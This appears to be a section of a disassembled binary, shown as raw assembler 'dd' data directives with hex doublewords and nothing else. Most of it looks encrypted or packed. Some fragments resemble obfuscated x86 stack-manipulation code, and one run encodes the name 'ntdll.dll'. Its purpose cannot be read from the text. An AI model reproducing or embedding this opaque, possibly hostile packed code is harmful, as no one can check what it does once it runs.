		dd 0CC65D748h, 79D094F2h, 0FD6BD15Bh, 75D0EE47h, 0E95866CFh
		dd 7FE4DA73h, 4C286CC5h, 0E64F28D3h, 45F7A1C2h,	0F46DD74Fh
		dd 0F3971EB2h, 7AC8FC6Ch, 0C6849CFh, 6044F768h,	54CDC2E6h
		dd 265071E8h, 152B4F07h, 0A59B32B2h, 5D1B8242h,	831C78B5h
		dd 0C92A6445h, 0FFC1A584h, 1175DC88h, 9382AB63h, 26819549h
		dd 270627BEh, 0F7C3EB55h, 0E2AAE52Dh, 62FB69DCh, 0D87DE75Ch
		dd 7DE2D35Eh, 2BA531A8h, 7E000009h, 0CFF15804h,	7A44ED57h
		dd 0C1FF5606h, 6B55FC60h, 0CCEE47FDh, 0D68EF864h, 7EE6417Fh
		dd 0C27AE9D7h, 74F0556Bh, 62FD99DDh, 0C2E64EB7h, 16F44610h
		dd 3093DA89h, 9C86FDC9h, 65B04006h, 98489E01h, 0B899CF74h
		dd 1B86B8DCh, 271938A1h, 754B03C1h, 0F5CBAF0Dh,	6B4AD391h
		dd 24CC8A23h, 0F6D78DF6h, 0B269F692h, 1BC2EC90h, 1D19483Ah
		dd 54EEC7CFh, 221C781Ch, 0E2861FBDh, 0EBADBE7Dh, 0F2E0FC2h
		dd 256DD731h, 324E6EBAh, 0FA9EBFC9h, 4CE55FC4h,	0AC001172h
		dd 627F4C3Fh, 0F16BD4EAh, 0CD684968h, 7DEE8C41h, 7FBA2EB7h
		dd 92000008h, 1B258C30h, 0AE9039ABh, 1D238A32h,	0AF9138A4h
		dd 228B39h, 2C22418h, 0B23295ABh, 1EBE251Bh, 0A81C89B7h
		dd 0BE214501h, 0C2E64DFBh, 0EE289ACCh, 0C9309427h, 58F173D0h
		dd 407E721Eh, 3CFF60E4h, 8DC93094h, 94C376E9h, 2504C930h
		dd 0DE412504h, 0CF74E26Ch, 86B8DCFDh, 3608A11Bh, 4B7511CBh
		dd 0B52C64D8h, 81521h, 9B379300h, 0E3E97612h, 38CF74BDh
		dd 6B18C35Ch, 0C3B1C2ECh, 1643289Bh, 82CAEB80h,	0D34CD5F4h
		dd 0C2EBAB24h, 6CD57AEDh, 7648D1F0h, 84CF560Eh,	5BC633FFh
		dd 0E387C0E1h, 5DB0F91h, 0EC54DF9Ah, 0BBC9E8C2h, 5E166BF1h
		dd 0B014F925h, 45FBB039h, 16Eh,	68D44FF7h, 0EC58CFF1h
		dd 0FA631175h, 930DDC62h, 950E3078h, 1988B62Fh,	0CD340AA3h
		dd 22B0F66Fh, 0E56CF397h, 34C9308Dh, 4E2A9A0Ah,	308D2AD1h
		dd 0CA82A3C9h, 3A049DBCh, 0B08E17C5h, 62089153h, 473F0D19h
		dd 3B5FF23Ch, 308CF5A4h, 0BFF7D6C9h, 60FF2281h,	0C9308DB9h
		dd 0BB123312h, 27BE1E85h, 308DF5B8h, 625C38C9h,	0E7C65FFDh
		dd 0ED4AD4AFh, 9CA2C676h, 59F0B824h, 5C38751Fh,	0DB420262h
		dd 8D7920BFh, 7352C930h, 4CF86C52h, 0D8BCF4D5h,	308D9C47h
		dd 0B1112FC9h, 35AC920Bh, 2C98A687h, 480021B8h,	0B8861F3Eh
		dd 3E974Dh, 98A63FA5h, 5820B92Bh, 0AB1AF723h, 37AE9039h
		dd 1094F4DEh, 88A97FF6h, 6DBB5711h, 72F255FAh, 0D5EBCA53h
		dd 4968F173h, 1A680C68h, 739BDE81h, 0F90D808h, 0CF7404A9h
		dd 0AE903918h, 0B3319237h, 0B32A0B2Ah, 0AB815FF5h, 3D4D4FA7h
		dd 9FFBDAh, 0C2EC745Dh,	0CE36086Ch, 73D28916h, 0DAFBC2ECh
		dd 5CC5E492h, 960DFE62h, 0A71D4C20h, 0E30A988h,	3CB22B91h
		dd 1961DB47h, 0EC5BB862h, 8BB5D178h, 0D2ECA418h, 702BB473h
		dd 59C2EB9Ah, 2B1B0A78h, 9C214BD1h, 0CE6224BDh,	16BC2347h
		dd 0D7C930B6h, 5EC77DE9h, 93F75E7Fh, 0CF8735ADh, 872E96F1h
		dd 3B924AB9h, 0F5A43B5Fh, 9EC93071h, 0E9C8BE26h, 9B3713A1h
		dd 9411C857h, 9BBAC930h, 69F3DA5h, 0FD620627h, 0CF74B14Fh
		dd 9F45A09Eh, 9F062706h, 369F45A1h, 17A03784h, 0D1881773h
		dd 0FAC93093h, 945A019Eh, 5273C930h, 4330173h, 0A7FCEAD7h
		dd 2EE976EFh, 0D7C92FFCh, 546AF371h, 0A3E871EBh, 0B9FE4ED8h
		dd 93F358C2h, 0A001F41Bh, 22h, 6DD74F12h, 94B06BF4h, 6C17C930h
		dd 73F155C2h, 2480BEDAh, 77E8A0h, 16C930B6h, 0FFFFA482h
		dd 0D64F30FFh, 8CE8DC6Eh, 0CE3E6EFEh, 32AEF16Eh, 0B69DB225h
		dd 97671534h, 399D87E7h, 15E0521Ah, 420ABA2Bh, 96247104h
		dd 71156AD8h, 30942BEEh, 0F5BD9CC9h, 0F4A773C3h, 4D8004h
		dd 15320000h, 4E06B62Bh, 0D0376D08h, 0DEAC8D14h, 6B36F996h
		dd 79CBEA38h, 93CF8A15h, 0D4EAC930h, 0CCBAF272h, 948437A8h
		dd 6445C930h, 0A715F745h, 6F026715h, 5D3612ECh,	9BB2B15h
		dd 432743BBh, 30941DDCh, 0C78FAEC9h, 41E575h, 15570000h
		dd 502FE667h, 6991E89h,	0C9308953h, 3C745574h, 0E85ADB7Ah
		dd 0D74F7115h, 0FFBA256Dh, 0D6C93093h, 711545F7h, 246CD84Fh
		dd 6DD74F96h, 846D7B09h, 269E55C1h, 55E0CB54h, 662E0775h
		dd 4FF143D4h, 6FF069D3h, 0C93094ACh, 8C137713h,	0C93093CDh
		dd 0EC97DFFEh, 0CF6DD542h, 0A214F966h, 6A0EC930h, 0B8E92818h
		dd 723A4D97h, 0FFF3AAE6h, 0D74F54FFh, 0EE82C46Dh, 0AA5CC3A7h
		dd 3BCF74C3h, 0B50C7E1Ah, 0A7647321h, 57029DF9h, 70C2EB9Eh
		dd 1F801951h, 0C2EB9E58h, 12F72358h, 0FBAFB9B2h, 743h
		dd 1E5F100h, 57000000h,	0C8579B37h, 0C9309411h,	0DEBA9BBAh
		dd 74A53F41h, 95FE8CCFh, 2B17779Eh, 85D8C6B4h, 4AEDEF04h
		dd 0CC557402h, 4A8192F2h, 5CF6E87Ch, 0A21A87B9h, 3BB52A83h
		dd 0B2C2EC0Ch, 7A44ED4Fh, 55315507h, 0EC0C0FCAh, 0D199B8C2h
		dd 4DBCFB48h, 2755EC36h, 0AD3BADCBh, 0A49AD2A9h, 52369F3Dh
		dd 0ECD5236h, 0BFC2EC1Ch, 1C5A019Eh, 5273C2ECh,	5BF241Ah
		dd 0FB52E10h, 121C671Ah, 4404C025h, 6C6C5220h, 0F5323370h
		dd 0CBB9EB20h, 82BC8437h, 45F7BF1Dh, 74A7DF47h,	0CB1402h
		dd 37A60000h, 674109Dh,	0F6DB6F29h, 0A1135B93h,	7BD2B15h
		dd 93F7BF9Eh, 30944A0Ch, 0F64465C9h, 1F0AA715h,	6ED64FBEh
		dd 0B28CE8DCh, 2A0B9252h, 0A037D062h, 6AD8A517h, 0F4A7EF47h
		dd 500404h, 37B60000h, 15A517A0h, 3093CF8Ah, 0BDD9F8C9h
		dd 949346D9h, 57CC930h,	48002157h, 4FA715FAh, 4B728D7h
		dd 0C5C93094h, 4377C5E4h, 1DDC4327h, 0BCC93094h, 30947823h
		dd 67051C9h, 15DD6F27h,	6105B72Bh, 30943BFEh, 0E5AD8CC9h
		dd 3171h, 0A037C300h, 182D744h,	0EC5B2DF3h, 0CA785978h
		dd 93CF8A15h, 0C7E6C930h, 7E671575h, 4ED06873h,	31E87713h
		dd 9AC93011h, 2597F3BBh, 0DF6DD74Fh, 31E5F143h,	81FFFFFFh
		dd 0D09844BFh, 71D64F62h, 1435AC10h, 3192AC35h,	407E1AB3h
		dd 0E6407EE6h, 8EC6E77Eh, 92F228C8h, 897F3D2h, 0CF74B51Ah
		dd 84F692B3h, 0E4F55ECBh, 0AC357D28h, 0EBDF8433h, 230F74C2h
		dd 0AFFAC63Eh, 4C6FFBh,	37DD0000h, 0E976129Bh, 0CF749F53h
		dd 9D029BBAh, 0C2EC88DAh, 0A8DABEDAh, 944FAD4h,	40FB64F0h
		dd 9BC2EBEEh, 0EBEE5504h, 215776C2h, 0BAB33453h, 0D7F6364Fh
		dd 873AE49Fh, 81F2B9F5h, 7A44F5F3h, 291F5705h, 0FBAFD7BDh
		dd 0D476h, 0D64FC400h, 5FC9F76Eh, 43BF81E5h, 69210099h
		dd 0F055CEF0h, 6948D193h, 0AE122C48h, 0E1DF460Eh, 632D9384h
		dd 7AA1E9B1h, 0F66DF25Bh, 1FC93098h, 0A9973EA6h, 0D2EC883Ch
		dd 1F86CE6Eh, 9E2FB959h, 4D229853h, 3FA0C4E5h, 0CF7462A1h
		dd 0AEE84160h, 8BEF8B02h, 1A8B50B5h, 33128BAAh,	0C6E7E47Bh
		dd 1A24C932h, 0A75C6BACh, 0C3448CD2h, 7B5A7BE2h, 1DC7211Fh
		dd 0A81C8AB4h, 0EEBA9F0Dh, 8C18817Dh, 22Eh, 0F0590361h
		dd 47EE56CEh, 0FA530979h, 48E15BC4h, 0FD541076h, 81E755DFh
		dd 0F1546AC3h, 7DE4DA73h, 0DB4876DFh, 0E084C069h, 0E647BC7Fh
		dd 0E95B0DC2h, 0BA38D94Fh, 0BD180EAFh, 6B0FA687h, 23E9900Fh
		dd 0C3E2C930h, 9450B58Bh, 0EE56CEF0h, 0B71E5677h, 129B3705h
		dd 61601276h, 2C3CC7C1h, 0A0813BA6h, 62E577E8h,	524CF74h
		dd 5E54039Ch, 2044C2ECh, 0BF22A71Eh, 84A5841Dh,	866BB7CCh
		dd 0FBB07D1Eh, 0A1D7h, 0D64F6500h, 5FC9F76Eh, 80E37CE5h
		dd 91C93098h, 7D19B034h, 8FD38619h, 0D5F4C930h,	8242A39Dh
		dd 78B55D1Bh, 0B1FD831Ch, 0E2DCCF74h, 6746DF7Dh, 9A9EF46h
		dd 1777E88Ch, 44C93314h, 0F0292436h, 0F5CBF758h, 97B62F8Dh
		dd 0EC88A9DFh, 0AE641788h, 4465C92Dh, 0F056680Ch, 85E3DD74h
		dd 0C5E27ADFh, 0B1287DEEh, 14125h, 4EEE5400h, 0F76DD9E7h
		dd 5C00605Eh, 0E656CBF5h, 0AD17714Fh, 1EFE2604h, 0AB953CA8h
		dd 1F21883Ch, 0AF9138A4h, 63278E36h, 45E19807h,	0BCEAC2E6h
		dd 6BD94F0Eh, 0DD87FCC2h, 2B15C674h, 0F59108BCh, 3094AF6Ah
		dd 183918C9h, 4FF56E50h, 0C97BE8D6h, 0CB3A0460h, 219B06h
		dd 2B620E48h, 9896D04Fh, 0B7C5CF74h, 16A71557h,	6D1B535Bh
		dd 0AD16284Ch, 43A09E37h, 23BA229Eh, 1DC73C02h,	0FFC1A53Ch
		dd 0D690D884h, 897F33Ah, 0C936BC98h, 34A81927h,	4EB28CADh
		dd 1E5677EEh, 82EC4968h, 0B47DE21Bh, 9CB92Dh, 158F0000h
		dd 0D4300EA7h, 1B87B910h, 0C93608A1h, 2284BA13h, 0FF290BA2h
		dd 9039AB1Dh, 248D37AEh, 9C35A71Ah, 2A8341A2h, 0E6950A6Eh
		dd 0E7C2E645h, 711503B1h, 30942BEEh, 0F5BD9CC9h, 4CD31FB3h
		dd 0C930948Dh, 16C55A3Eh, 0B7C93094h, 1A89B796h, 78E783A2h
		dd 0CF7AC960h, 2B158CADh, 9DA30ABAh, 4125BC28h,	5FFFBA25h
		dd 0E9C8C2E6h, 61AE3EA1h, 3942C32Bh, 21A300EDh,	974DB688h
		dd 6DCF300Eh, 2BF78CF4h, 8BEF55CEh, 5FC970EFh, 2302C321h
		dd 87FCC26Bh, 3D044DDh,	62000000h, 0D54FFB49h, 63C0FE67h
		dd 0DB4678E1h, 5FC6F861h, 0E4427CE5h, 61C7F960h, 0DB447AE3h
		dd 5AC6F861h, 0E1457BE2h, 51EDFA63h, 0C181E189h, 4, 4E981h
		dd 0C870000h, 4895C24h,	0E3895324h, 4C381h, 0EB830000h
		dd 241C8704h, 243C895Ch, 81E38953h, 4C3h, 4EB8100h, 87000000h
		dd 895C241Ch, 68552434h, 223D4DB0h, 0BAC5815Dh,	89E40CE7h
		dd 242C8BEFh, 8304C483h, 248904ECh, 24048324h, 81575E04h
		dd 14E9242Ch, 468F67DFh, 8468108h, 67DF14E9h, 5324348Bh
		dd 0C381E389h, 4, 4C381h, 1C870000h, 3C8B5C24h,	0E0895024h
		dd 405h, 40500h, 4870000h, 0F7E95C24h, 0CFFFFA2Eh, 0A8A756E6h
		dd 0A9FAD22h, 929B0CE3h, 4F81B8A3h, 0C503064Ah,	0E985C650h
		dd 47064402h, 38172568h, 7DB5FFCFh, 8D06442Dh, 443A6585h
		dd 8BD0FF06h, 71858DD8h, 50064404h, 10468h, 0C6D3FF00h
		dd 4402E985h, 0BF685306h, 0FF8307F8h, 442D7DB5h, 65858D06h
		dd 0FF06443Ah, 4B8589D0h, 83064A33h, 442381BDh,	840F0006h
		dd 0Bh,	10859D8Bh, 5E90644h, 0BB000000h, 0
		dd 10068h, 4FB58D00h, 56064A33h, 3D95FF53h, 8D06442Ah
		dd 4A334FB5h, 0E9F00306h, 1, 5C3E804Eh,	9840Fh,	3E800000h
		dd 0ED850F2Fh, 0C6FFFFFFh, 858D0006h, 64A334Fh,	4B95FF50h
		dd 58064A33h, 0D01DE0FFh, 81F176B3h, 0DEB20460h, 8B844A4Fh
		dd 5C190269h, 6B8F036Bh, 5ADC1CEAh, 5B161B07h, 1DA653AFh
		dd 3B505395h, 80A95617h, 6FFB0EEEh, 0F8B25D25h,	999644BAh
		dd 497217C0h, 531C3E4Bh, 0DCD147AAh, 434F7FD8h,	498F5ECBh
		dd 34B23537h, 0CDC22065h, 0DEE150DDh, 0EFD34083h, 38EA23EDh
		dd 7EC97448h, 26EB6841h, 33B61B90h, 558EAFECh, 6C64746Eh
		dd 6C642E6Ch, 2188006Ch, 5D340746h, 2236A3D2h, 5821h, 0
		dd 25E90000h, 68000006h, 64A52C7h, 0FA2D99E9h, 538768FFh
		dd 8FE9064Ah, 68FFFA2Dh, 64A542Eh, 0FA2D85E9h, 54E768FFh
		dd 7BE9064Ah, 68FFFA2Dh, 64A5578h, 0FA2D71E9h, 562E68FFh
		dd 67E9064Ah, 0FEFFFA2Dh, 4F71D884h, 0FAC46DD7h, 417FD686h
		dd 0EBD57CE0h, 4C6EC77Dh, 560E78E4h, 0FE66C1FFh, 42FA6957h
		dd 0F470D5EBh, 0E27D195Dh, 0C2E64337h, 0C6A2C690h, 0E643A259h
		dd 420A2BC2h, 24E5F0h, 0BF810000h, 25049D47h, 0D64FDF6Dh
		dd 4AE6F03Dh, 0DB4B6DCDh, 0F0694869h, 46EF55CEh, 2FA81ED9h
		dd 0C07CE7C9h, 9B37DB69h, 0E3E97612h, 38CF74A8h, 88BC544Ah
		dd 0E5AD9BCAh, 8C38AD93h, 0ECAB34ADh, 0ECC2EBDEh, 3EA68B97h
		dd 0F7FBAFFEh, 254h, 8C38AD93h,	31C276C4h, 8B661470h, 678B7941h
		dd 1DE8930Ch, 93E1C930h, 5643EFBBh, 420A2BE4h, 45216C04h
		dd 746604DAh, 246445CFh, 1B08EDBBh, 29640C87h, 0AF17294Dh
		dd 2607B52Ah, 14FBF16Eh, 1E200D0Ah, 1CC021A6h, 0CD85A43Dh
		dd 0C0FE9ABBh, 5A64FD5Fh, 3E5A7BE9h, 213FAA1h, 0BAF2D305h
		dd 40CD6523h, 8BABBB24h, 2700B49h, 6DC03D1Ch, 0FE88C0C7h
		dd 2085BBDFh, 0D2330DA4h, 0ADCEB712h, 0EB72BF85h, 4287Fh
		dd 0A21A8800h, 13D1350Bh, 0A01C84BAh, 12CA3709h, 0A12385BBh
		dd 1A022A08h, 0AF9138ACh, 1B258C38h, 0A39D34A8h, 6F2B8242h
		dd 41E5940Bh, 0B0E6C2E6h, 6ED64F02h, 9421B1F7h,	0AC816FF0h
		dd 0B6D2CF74h, 0EC7D7229h, 447A5BC2h, 5C2A62E2h, 61400462h
		dd 8B887BC8h, 0EA52B1E7h, 6E30AFCBh, 0AFC93080h, 4151CE8Eh
		dd 8C61CE39h, 0A9CDA9E4h, 2CB52F97h, 10D4330Dh,	0FCC5C758h
		dd 281636D6h, 3D4B03B9h, 93E1851Ch, 1D3903B5h, 0B0F6BED5h
		dd 6EF19520h, 309EFC56h, 9B5EC1A5h, 2C30922Dh, 1233450Dh
		dd 0B42C1276h, 2CE49708h, 0C4E53092h, 6DD6E88Ch, 3605EF7h
		dd 58ABE441h, 0C45DE572h, 36850h, 0E25AC800h, 5311754Bh
		dd 0E05CC4FAh, 520A7749h, 0E163C5FBh, 5AC26A48h, 0EFD178ECh
		dd 5B65CC78h, 0E3DD74E8h, 2F6BC282h, 4125D44Bh,	0F0A6C2E6h
		dd 71D64F42h, 50225014h, 0AF16B43Ch, 4F0990B1h,	6A0E6AA3h
		dd 0AE31F054h, 0C93019EBh, 45DCFDDCh, 81B32C64h, 0B8CF7448h
		dd 86A71D86h, 4CC9692Fh, 9152B728h, 0B293C936h,	0C478E8D6h
		dd 50347C5Dh, 0F650F56Eh, 0F8C66F4Eh, 640D98Bh,	0EE58666Ah
		dd 51CEEF76h, 0C9228FAAh, 47230223h, 66AEBED8h,	786F1DCFh
		dd 0F5E97693h, 77562068h, 0A60F87D2h, 68FC657Bh, 2C1h
		dd 0F0590361h, 47EE56CEh, 0FA530979h, 48E15BC4h, 0FD541076h
		dd 81E755DFh, 0F1546AC3h, 7DE4DA73h, 0DB4876DFh, 0E084C069h
		dd 0E640BC7Fh, 0E95B0DC2h, 0F76ED64Fh, 178B21B1h, 3C1D3CA5h
		dd 0C2FDC758h, 704ECF74h, 1736AF15h, 6C08295Fh,	17CD3608h
		dd 0EC65D188h, 0E5DBFAC2h, 7A5BC282h, 380F9B32h, 0BD000001h
		dd 0BB5734C2h, 721672h,	79E7F141h, 0E17E3692h, 0CF73D41Fh
		dd 493B5F7Eh, 0B09B2F67h, 1D5D155Ah, 297C1382h,	0A1EC84B8h
		dd 0B4845AC5h, 0E4C5DBFBh, 1E973B7Dh, 1CE1E57Ah, 1D3CDA3Bh
		dd 66DE4779h, 2E95ABCFh, 8BF8C68Eh, 0A7277CD9h,	70E98E97h
		dd 208E4h, 823AA800h, 33B1152Bh, 803CA49Ah, 32AA1729h
		dd 8143A59Bh, 3A220A28h, 8FB118CCh, 3B05AC18h, 83BD14C8h
		dd 4F0BA222h, 4005B42Bh, 90C6C2E6h, 6ED64F22h, 9421B1F7h
		dd 0AC816FF0h, 0E1C0CF74h, 0F0CFB48h, 0D14E2A63h, 0C930800Fh
		dd 40FD625Ch, 0D9F861E3h, 0E7C6B0F8h, 686438A7h, 0F9995812h
		dd 7947D8BCh, 0D84092AFh, 8A2660F9h, 0ECF86703h, 2146D221h
		dd 0E95A6400h, 106D1F7Bh, 0A25F0AB2h, 19278EC6h, 0BC9D38ACh
		dd 0C0F30E34h, 177CD59h, 0CD370000h, 8CF8C66Fh,	0D34F71D8h
		dd 81FEC069h, 0DA4C72DBh, 37E1C36Ah, 48E163C5h,	0FC550F76h
		dd 54FD5FC2h, 0E24BF96Ah, 9E5DC2A6h, 2FC2E63Fh,	0D64FCB79h
		dd 0AD93F76Eh, 32138A3Ah, 19943C7Ah, 728E0F7Dh,	0C1FA948h
		dd 75BF2044h, 0B4CF744Ch, 378E3C95h, 0E976129Bh, 0CF7AE58Ah
		dd 8138A7C3h, 4AC2E643h, 102E4A6Bh, 0A69831B3h,	7A1E873Dh
		dd 0F7844108h, 836DE99h, 9DBC2597h, 0B6FF93D5h,	6AD44DD2h
		dd 371C930h, 0C9721ECCh, 561405Fh, 0B31ACA3Bh, 0C8AC188Dh
		dd 695693BAh, 521A9FD9h, 0A8E58DCBh, 0FAA553CCh, 524CF73h
		dd 0A89597A0h, 3CA8317Bh, 0C1h,	0F0590361h, 47EE56CEh
		dd 0FA530979h, 48E15BC4h, 0FD541076h, 81E755DFh, 0F1546AC3h
		dd 7DE4DA73h, 0DB4876DFh, 0E084C069h, 0E63EBC7Fh, 0E95B0DC2h
		dd 76129B37h, 0CB82C12h, 63FCB495h, 0CF7AE618h,	0A9671571h
		dd 5F38954Fh, 9E4B0E91h, 5D7CC2E5h, 0BD26187Ch,	0E8D64F07h
		dd 5E60C97Bh, 79E67FE5h, 2151143Fh, 0F15EC8B3h,	4779D094h
		dd 660266DEh, 0E778EC58h, 710F1134h, 65FCB495h,	0EF76E65Bh
		dd 54CD77D1h, 0D148FC6Ah, 926AB4CFh, 0A88591EAh, 89ED893Bh
		dd 685F96FBh, 1986F463h, 710F2362h, 0BC22426Fh,	0D3A5241Ah
		dd 52CB79EDh, 0B31A5273h, 0C8AC188Dh, 9CD490F6h, 39105h
		dd 49230000h, 67D54FFBh, 0E163C0FEh, 61DB4678h,	0E55FC6F8h
		dd 60E4427Ch, 0E361C7F9h, 61DB447Ah, 0E25AC6F8h, 63E1457Bh
		dd 8952EDFAh, 4C281E2h,	83000000h, 148704EAh, 24248B24h
		dd 1FA068h, 24348900h, 81E38953h, 4C3h,	4EB8100h, 87000000h
		dd 895C241Ch, 6853242Ch, 199F495Dh, 54C3815Bh, 89ECAB08h
		dd 8B545BDEh, 0C481242Ch, 4, 196968h, 24348900h, 0FF08458Fh
		dd 815D2434h, 4C4h, 24348B00h, 81E78957h, 4C7h,	4C78300h
		dd 5C243C87h, 0FA278DE9h, 8AA3AFFFh, 0E4AC205Eh, 3C8F790Eh
		dd 0FF550410h, 4A5714B8h, 0FFC50306h, 0A8D435E0h, 0F066DE1Dh
		dd 39C8F7Eh, 0B34DCB44h, 0D1FA54Ch, 0EE801h, 69EF0000h
		dd 49A07FB7h, 713B040Eh, 42CD23B6h, 6658D78Bh, 0C081F18Bh
		dd 5F86h, 2C492EBEh, 0E9DB2B32h, 0Ch, 0B963DB7h, 91548D64h
		dd 0D2976ACEh, 660334FFh, 2169C981h, 34F7815Fh,	0F524BF8h
		dd 58Ah, 9559BA00h, 0EF81484Eh,	25390451h, 0EC69BE66h
		dd 8905F781h, 9E92C03h,	0AB000000h, 8E73D81Ch, 7493BFCh
		dd 48A0F57h, 66000000h,	8F8A33BEh, 66601804h, 71FDF81h
		dd 6189CD80h, 0BE9h, 506E1000h,	50B568A1h, 0AC6B7BCEh
		dd 8A03EB83h, 8B664BEBh, 20FB81CFh, 0FFFFFA1h, 0FFFF8B85h
		dd 3ADE80FFh, 8EBh, 7A4A0000h, 0F8E91D2Eh, 68000004h, 64A5984h
		dd 0FA2699E9h, 59FE68FFh, 8FE9064Ah, 68FFFA26h,	64A5B5Bh
		dd 0FA2685E9h, 0F666DCFFh, 5F05615Fh, 0E458C8F6h, 0AE0E734Dh
		dd 15CF3907h, 0A6969EBCh, 132D8440h, 0A79930B4h, 1729803Ch
		dd 0DB9F36AEh, 3C7920BFh, 452C2E6h, 6BD94FB6h, 0ED57CCF2h
		dd 276E0244h, 0B16E3143h, 0A9DB81E0h, 652DB28Ch, 52549E01h
		dd 0F587CF74h, 0EEB42B6Eh, 5721693Fh, 0C570EF76h, 37C2EC66h
		dd 48F46D53h, 4AAF7B00h, 0FBB085DAh, 0E5CC5D2Fh, 279E366h
		dd 3C42F966h, 0AA8BC2ECh, 308B2E2h, 15000000h, 9009BB2Bh
		dd 178E36AEh, 0EC5F1736h, 46CF63E0h, 3BA91C22h,	0B6881773h
		dd 17CF7496h, 2504B829h, 0F8B4FA65h, 2DC5C051h,	92E084E0h
		dd 52A5841Fh, 3CA3EBA7h, 0D452CFF6h, 0C98F1637h, 1788EC29h
		dd 0D20EEFC5h, 7F412504h, 65E24106h, 0FCDD4400h, 446544DDh
		dd 20DB4420h
		dd 0A9CE0EAFh, 5769C088h, 0AAD376EEh, 5E86CDA3h, 31853C7h
		dd 59CB0000h, 10744AE3h, 5FC3FD54h, 0F56A54FDh,	76D0EE47h
		dd 0DB4567CEh, 0F45D0761h, 40E95BCAh, 0F059037Eh, 46EF55CEh
		dd 42F96602h, 8BC2E63Bh, 9B376FDDh, 96E97612h, 0E5CF7AECh
		dd 3C5B1E81h, 4D6CC2E6h, 36527305h, 8F269E08h, 89ED57B1h
		dd 3CC772EDh, 7200C2E6h, 727DF1B7h, 0C8BA9B3Dh,	0FFBA6B86h
		dd 57CE8677h, 0E61F0CC8h, 289C09C2h, 59CCC28Dh,	3FAB3284h
		dd 29Eh, 40E953B1h, 0F75E067Eh,	4AE359C9h, 0F8510B74h
		dd 4DE460C6h, 0F157C56Fh, 81E4DA73h, 0ED546AC3h, 6BD8E64Fh
		dd 701450F9h, 0E63B2CEFh, 79CB9DC2h, 76129B37h,	0FD64D848h
		dd 6FF094DCh, 0CF7AED10h, 8BE1163h, 0A407193Ch,	9DE89AECh
		dd 7D4C9366h, 0A639A081h, 0C2E5AFEFh, 2EB72D98h, 9F6D815Ch
		dd 0A29C0B2Fh, 19079E3Eh, 9E01B862h, 0C2E5CDDBh, 0ABECCDECh
		dd 85E146D0h, 0AEFBA9E9h, 19Eh,	0BB2B151Ch, 0F9B19009h
		dd 7FE65EC7h, 0C960E441h, 7DF9E38Fh, 0EC7F4D55h, 32ADC9E8h
		dd 0CF73C850h, 0AE31A889h, 0C2EBC6E7h, 178E3690h, 9C05BF29h
		dd 4FBD6912h, 42A77308h, 0FBAFE2E2h, 3713h, 9B37A100h
		dd 0B2A9A0Dh, 9F6AF06Fh, 82A3CF74h, 88D1841Bh, 0B8C3C2ECh
		dd 0A81D896Eh, 0DCE2FBB0h, 0A6EF765h, 0EC94E695h, 0E7C6E7C2h
		dd 6EF76DD9h, 0B857074Fh, 0E5000000h, 0F76ED64Fh, 7CE55FC9h
		dd 0FA63E142h, 4CE55FC4h, 309902D3h, 0DD233C9h,	0A108299Bh
		dd 0A6C24BE7h, 77363A39h, 0B6D2F3CFh, 0C2A61E88h, 0F38239A6h
		dd 754BC2E9h, 1736AF0Dh, 0B3D77E36h, 0F39148D7h, 1B3AC2E9h
		dd 0BA964869h, 531B4CF4h, 0EA56FB6Dh, 0D34AFA6Dh, 6B4AD3F2h
		dd 0BBAEF4Ah, 0F76E7BAAh, 14163h, 0EAE1400h, 0B72D99A7h
		dd 1CC0201Eh, 0A6168BB5h, 6DD7310Fh, 0DE3EE6C4h, 6B55FC68h
		dd 0DFE148FCh, 6F51F864h, 0A3E74EF6h, 39A158C7h, 7C2AC2E6h
		dd 2ED94FCEh, 30940AB1h, 0C3E2C3C9h, 26EF546Ah,	7B506BE4h
		dd 0A60F2EB2h, 8239A6C2h, 4BC93075h, 4F90226Ah,	780A6ED6h
		dd 87FE885Eh, 176544DDh, 0CF870F4Ah, 49FB6856h,	7FE084E0h
		dd 0C92FC2BCh, 6FD5330Dh, 0B040064Eh, 2C9E0165h, 0BDCF7410h
		dd 0A29CF89Ch, 18F18341h, 486DA17h, 4DBB85CDh, 285A3E97h
		dd 0E95CF520h, 0E7D3097Bh, 4564D84Bh, 0E9E3920Dh, 37ACC2EBh
		dd 3240248Dh, 0C586DC3Eh, 526C2464h, 7DE970F4h,	86h, 2BA2719h
		dd 7115F84Ah, 0F36CD84Fh, 0C9309448h, 279EA081h, 1FB3F5BDh
		dd 948D4CD3h, 1F3EC930h, 821BC121h, 79E682A3h, 0CF7AED2Ah
		dd 79EB5D63h, 0AFB3C1E0h, 43D377EDh, 0F6C85170h, 407ED78Dh
		dd 67F861E3h, 0DE4AAA30h, 0EE4BD7ACh, 95ABCF75h, 142AB331h
		dd 5D1534B0h, 0EB59CAF4h, 69D34C72h, 27F388F0h,	8DF459CAh
		dd 546A0E2Fh, 4CF050EDh, 9DD5F4D5h, 2B990A34h, 0AA12714Fh
		dd 3EF7BE2h, 5D000000h,	0D54FFB49h, 63C0FE67h, 0DB4678E1h
		dd 5FC6F861h, 0E4427CE5h, 61C7F960h, 0DB447AE3h, 5AC6F861h
		dd 0E1457BE2h, 53EDFA63h, 0C381E389h, 4, 4EB81h, 1C870000h
		dd 24895C24h, 24048124h, 4, 73468h, 242C8900h, 81E28952h
		dd 4C2h, 4EA8100h, 87000000h, 895C2414h, 0EC812404h, 4
		dd 0BF243C89h, 7E9B174Ch, 0E56FDFBDh, 5FFD2984h, 24048B54h
		dd 5104C483h, 8B9h, 0FEC18100h,	1433154h, 0FEE981C1h, 89433154h
		dd 48B5929h, 0E1895124h, 4C181h, 0C1810000h, 4,	5C240C87h
		dd 56242C8Bh, 0C681E689h, 4, 4C681h, 34870000h,	0B7E95C24h
		dd 4FFFFA21h, 0A796A1B6h, 82AF4B68h, 0B8BCBED5h, 64A5CC1h
		dd 0E0FFC503h, 6E1F6F2Ah, 4E82F98Eh, 5683F6D5h,	27FB8A12h
		dd 7644113Eh, 0D87BF8Ch, 4A23EBB6h, 2279CB50h, 0EC3019h
		dd 5E546783h, 48021C3h,	67A8A80Ah, 7B28382Fh, 45063C5Ah
		dd 1F68F3F4h, 42A2DF4Ah, 624115C2h, 69D8B689h, 6D6285B1h
		dd 29BBD17Dh, 212449D9h, 5E9E8D8Dh, 850B064Ah, 6440261h
		dd 2F5D8D89h, 14B00644h, 85C7ECB6h, 6440679h, 67E0h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0C1C35141h, 2F7387CBh
		dd 7185C72Dh, 64410h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 52BC351h, 0AFED2ADDh
